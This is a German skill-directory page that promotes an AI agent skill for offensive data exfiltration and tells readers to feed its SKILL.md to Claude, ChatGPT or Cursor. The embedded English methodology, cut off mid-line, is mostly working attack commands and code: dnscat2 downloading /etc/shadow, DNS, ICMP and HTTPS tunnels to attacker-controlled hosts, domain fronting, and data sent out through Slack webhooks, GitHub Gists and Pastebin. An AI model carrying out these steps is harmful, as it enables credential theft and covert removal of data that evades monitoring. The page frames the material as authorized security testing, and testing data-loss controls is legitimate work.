Zum Inhalt springen
Skillpedia
Sicherheit10k · #11964

offensive-data-exfiltration

Was er macht

Dieser Skill ist eine Methodik für Tests der Kontrollen gegen Datenabfluss, mit Kanälen über DNS, HTTPS, ICMP, Cloud-Speicher und E-Mail. Er ist für Sicherheitsteams gedacht, die mit Erlaubnis prüfen, ob ihr Datenschutz verdeckte Übertragungen erkennen würde.

Wann du ihn nutzt

  • ✓Wenn du in einem autorisierten Test prüfst, ob ausgehender DNS- oder ICMP-Verkehr Daten aus einem Netzwerk tragen kann.
  • ✓Wenn du prüfen willst, ob Cloud-Speicher oder E-Mail zum Herausbringen von Daten genutzt werden können.
  • ✓Wenn du prüfen musst, dass abgeflossene Daten von deiner Überwachung erkannt würden.

Link zum Skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md

Kopiere ihn und füge ihn in deine KI ein (Claude, ChatGPT oder Cursor) mit der Bitte, den Anweisungen zu folgen.

So nutzt du ihn

Am einfachsten: Kopiere die Nachricht und füge sie in deine KI ein. Sie liest den Skill und folgt den Anweisungen.

Fertige Nachricht zum Einfügen

Nutze diesen Skill, um mir zu helfen: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md Lies die SKILL.md unter diesem Link und folge ihren Anweisungen für meine Aufgabe.
Soll deine KI Skills wie diesen selbst finden?Installiere den kostenlosen Skillpedia-MCP: eine Zeile, und sie durchsucht vor jeder Aufgabe 15.000+ Skills.In 1 Minute installieren →

Beispielanfrage an deine KI

“Wir sind autorisiert, unsere Kontrollen gegen Datenverlust zu testen. Prüfe, ob DNS-Verkehr Daten aus unserem Netzwerk tragen kann.”

5 neue Skills pro Woche. 1 Minute Lesezeit.

So funktioniert es

Der Skill erfasst die Testdaten, bereitet sie vor, komprimiert und verschlüsselt sie und wählt dann einen Kanal, den das Netzwerk erlaubt. Danach prüft er die Daten und räumt die vorbereiteten Dateien wieder auf.

Technischer Inhalt (originale SKILL.md)

Originaltext des Autors, auf Englisch, direkt von GitHub.

Data Exfiltration -- Offensive Methodology

Quick Workflow

  1. Inventory target data. Map files, databases, credentials. Assess volume and classification.
  2. Stage. Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
  3. Compress and split. Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
  4. Encrypt. AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
  5. Select channel. DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
  6. Transmit. Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
  7. Verify receipt. Recompute SHA-256 on the receiving end and compare against source manifest.
  8. Clean up. Securely delete staging, temp files, dropped tools, and any scheduled tasks.

DNS Exfiltration

MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS

dnscat2

# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret

# Client on target
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret

# Server console -- file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow
# Force CNAME queries to avoid TXT-based detection
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret

iodine Tunneling

# Server (authoritative NS)
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com

# Client -- creates dns0 interface at 10.0.0.2
iodine -f -P ExfilPassword tunnel.yourdomain.com
scp /tmp/staged.tar.enc attacker@10.0.0.1:/loot/

dns2tcp

# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
dns2tcpd -f /etc/dns2tcpd.conf

# Client -- tunnel SSH over DNS
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
ssh -p 2222 attacker@127.0.0.1

TXT/CNAME Record Encoding

import base64, dns.resolver

def dns_exfil(data, domain, chunk_size=60):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
        try: dns.resolver.resolve(query, "TXT")
        except Exception: pass  # data is in the query itself

Slow-Drip DNS

import random, time, base64, dns.resolver

def slow_drip_exfil(data, domain, min_delay=30, max_delay=120):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), 60)):
        query = f"{seq}.{encoded[i:i+60]}.d.{domain}"
        try: dns.resolver.resolve(query, "A")
        except Exception: pass
        time.sleep(random.uniform(min_delay, max_delay))

PacketWhisper exfiltrates via DNS without owning a server -- encodes data as queries captured from a PCAP: python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1.


HTTPS Tunneling

MITRE: T1041 -- Exfiltration Over C2 Channel; T1071.001 -- Web Protocols

stunnel

Server wraps a port 8080 listener in TLS on 443. Client: stunnel -c -d 127.0.0.1:9090 -r attacker.com:443, then cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090.

Domain Fronting via CDN

# Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server
curl -s -H "Host: your-collection.azureedge.net" \
    --data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload

# chisel full tunnel behind CDN
chisel server --port 443 --reverse --auth user:pass  # server side
chisel client --header "Host: your-collection.azureedge.net" \
    https://legitimate-cdn-domain.com R:socks         # client side

Legitimate Service Abuse

# Slack webhook
curl -X POST -H 'Content-type: application/json' \
    --data "{\"text\":\"$(base64 /tmp/chunk_001.enc)\"}" \
    https://hooks.slack.com/services/T00/B00/XXX
# GitHub Gist -- private gist per chunk
import requests, base64
def gist_exfil(data, token):
    requests.post("https://api.github.com/gists",
        json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}},
        headers={"Authorization": f"token {token}"})
# Pastebin API from Windows
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc"))
Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{
    api_dev_key="K
Häufige Fragen

Sendet er echte Kundendaten?

Der Skill sagt, wo möglich Testdaten zu verwenden und niemals Klartext zu verschieben. Er ist nur für autorisierte Tests gedacht.

Welche Kanäle deckt er ab?

DNS, HTTPS, ICMP, Cloud-Speicher, E-Mail und Steganografie.

Warum die Kanäle prüfen?

Ziel ist herauszufinden, welche Wege die Verteidiger tatsächlich erkennen und blockieren können.

Details

Originalbeschreibung des Autors

Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), and data staging (compression, splitting, encryption). Tools: dnscat2, iodine, dns2tcp, PacketWhisper,

repo: SnailSploit/Claude-Red

Beliebtheit

GitHub-Sterne
10k
Platz im Ranking
#11964
Lizenz
MIT
Aktualisiert
12.10.2026

Ist dieser Skill nützlich?

0

Anmelden um abzustimmen.

Kommentare

  • …

Weitere Skills aus diesem Repository

Ähnliche Skills